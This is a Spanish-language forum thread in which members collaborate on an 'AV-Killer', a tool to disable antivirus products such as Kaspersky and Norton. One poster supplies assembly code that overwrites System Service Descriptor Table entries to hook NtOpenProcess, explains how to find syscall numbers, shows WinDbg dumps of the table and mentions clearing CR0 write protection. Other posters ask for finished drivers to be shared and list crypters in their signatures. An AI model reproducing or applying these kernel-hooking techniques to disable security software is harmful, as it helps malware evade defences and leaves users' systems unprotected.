Ayuda: Programar módulos para un AV-Killer

Iniciado por Mad Antrax, 14 Octubre 2007, 00:59 AM

0 Miembros y 1 Visitante están viendo este tema.

Hendrix

Mek, para finalizar el driver del Kav tengo que usar el IoDeleteDevice, no es asi??? Pero en este caso necesitaria el DeviceObject del Kav, como lo saco??? :-\

Eso de haber tantisimas apis y no saber trabajar con casi ninguna me da rabia  :xD no hay mas remedio que trabajar con ellas y aprender  :)
"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián

<?BRoWLi?>

CitarYa, pero es que no me gusta C. Lo he intentado pero me aburre con suma facilidad, me quedo con VB

Es como comparar a un futbolista juvenil local, con un futbolista profesional e internacional.
Si TRaTaS D SeR JusTo SoLo Es JuSTo EL CoRaZóN, LoS DeMaS OrGaNoS TRaTaRaN De KiTaRLe La RaZoN - DobleV
Piratas.com.es

Xerok1!

voy a por el norton  :P :P :P  :xD :xD...esty en ello ya..os ire contando los progresos...cuando tenga tiempo ;)
un saludo! :) :)
[Firma]Esperando haber si acaba el concurso de firmas y la pongo[/Firma]

byebye

#43
CitarMek, para finalizar el driver del Kav tengo que usar el IoDeleteDevice, no es asi??? Pero en este caso necesitaria el DeviceObject del Kav, como lo saco???

eso yo le veo problemas pq a saber donde tiene ese metido el morro lo cierras y despues pantallazo. lo mejor es y lo probe con el sxe que no dejaba injectar, es hookear las funciones que el hookea y no darle a el el control. y no todas las funciones con matar el proceso y poco mas yo creo que bastaria.

saludos.

PD: te dejo una funcion par hookear la funcion que le pases por argumento

proc GetAddr n
     mov eax, 4
     mov ecx,[n]
     mul ecx
     mov ecx,[KeServiceDescriptorTable]  ;LocaLizar KiServiceTable
     mov ecx,[ecx]                       ;KierviceTable
     add eax,ecx
     ret
endp         



despues la uss asi:

push 7ah    ; Numero de la funcion
     call GetAddr
     mov ecx, _NtOpenProcess  ;Direccion de la funcion que remplaza a la original
     mov [eax], ecx   ; y la escribes en la direccion que toca (que nos devolvio la funcion)



se me olvido ponerte que era el numero de la funcion. si desensamblas zwopenprocess veras esto:

77F65E55 >  B8 7A000000     MOV EAX,7A
77F65E5A    BA 0003FE7F     MOV EDX,7FFE0300
77F65E5F    FFD2            CALL EDX
77F65E61    C2 1000         RET 10



ves el numero? pues eso es lo que interesa de cada funcion. este numero no es fijo pero se puede leer en runtime.

Hendrix

Asi de simple nos cepillariamos el hookeo a la zwopenprocess??? :o

TEndre que ponerme a leer bastante sobre hooking en kernel land, ya que me es bastante complicado, este cambio de "land" es bastante grande  :xD

Me recomiendas algo en español??? (Se que hay poca cosa :S)

Si no me tender que conformar con los tochos que hay por hay "in english"...

Intentare hacer practicas con el Driver del Kav  :-\

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián

nhaalclkiemr

A ver si cuando alguien consiga algo postea el driver o algo...o por privado al menos :-[

Freeze, recuerda "Imposible is nothing"

Saludos ;)
StasFodidoCrypter 1.0 - 100% (old)
StasFodidoCrypter 2.0 - 85% (deserted)
Fire AV/FW-Killer - 97% (deserted)
R-WlanXDecrypter 1.0- 100%

byebye

#46
CitarAsi de simple nos cepillariamos el hookeo a la zwopenprocess???

no, asi de simple hookeas el kernel. pero claro si kav ya a hookeado tb lo jodes a el ya que no se llamara a su funcion. en español no hay nada almenos publico o esta muy escondido. pero vamos te explico yo aqui en un momento como hookear la ssdt.

localizamos la base de el kernel:

Citar
lkd> dc nt
804d4000 00905a4d 00000003 00000004 0000ffff  MZ..............

OK,804d4000h

Citar
lkd> dd KeserviceDescriptorTable
8054c540  80502da8 00000000 0000011c 805033c4

OK, 80502da8h =KiServiceTable vamos a ver que nos espera aqui.



lkd> dd 80502da8
80502da8  80596d42 8057f565 8057d419 805c281a
80502db8  805754d4 806188d8 8061aa48 8061aa85
80502dc8  8056c5ec 806272c6 806183d4 8057c753
80502dd8  806123bb 8057d77a 80577729 8060bd61
80502de8  8057d532 8058feb9 805617f0 805536d3
80502df8  805100c5 8060fd31 8056720f 804e9362
80502e08  8057ac7a faa87818 8057d3e4 8062be5e
80502e18  8061b5a9 80597234 8062c08a 805759e6



lo ves? un array de punteros a funciones, de ahi que en la funcion que puse multiplicase por 4 para llegar a la posicion de la funcion (4 bytes por elemento). pues solo tenemos que escribir ahi la direccion de nuestra funcion, y si te fijas todas las direcciones empiezan por 80XXX como vimos antes la base, entonces se puede verificar que funciones estan hookeadas. antes de escribir verifica el registro CR0 no tenga el bit de proteccion de escritura y te de un pantallazo.

y eso es todo, no es nada complicado lo malo es la escasa o nula informacion. pero tocando se aprende jeje.

saludos.

Hendrix

Machas gracias tio, sobretodo por el tiempo que empleas explicandome esto, lo que e entendido, sila funcion no empieza por 80 es que esta hookeado,no?? Y otra cosa, como "dumpeas" esto??? que programa usas para hacerlo??

Muchas gracias ;)
"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián

byebye

claro, si te fijas la base del kernel era 80XX pues tiene que esta dentro de, si no es que esa funcion esta hookeada. uso windbg, kernel debug > pestaña local.

Hendrix

Bua, en el Windbg se tiene que hacer por conexion de PC's, no??? eso es lo que no me gusta :S

Bueno, muchas gracias  ;)
"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián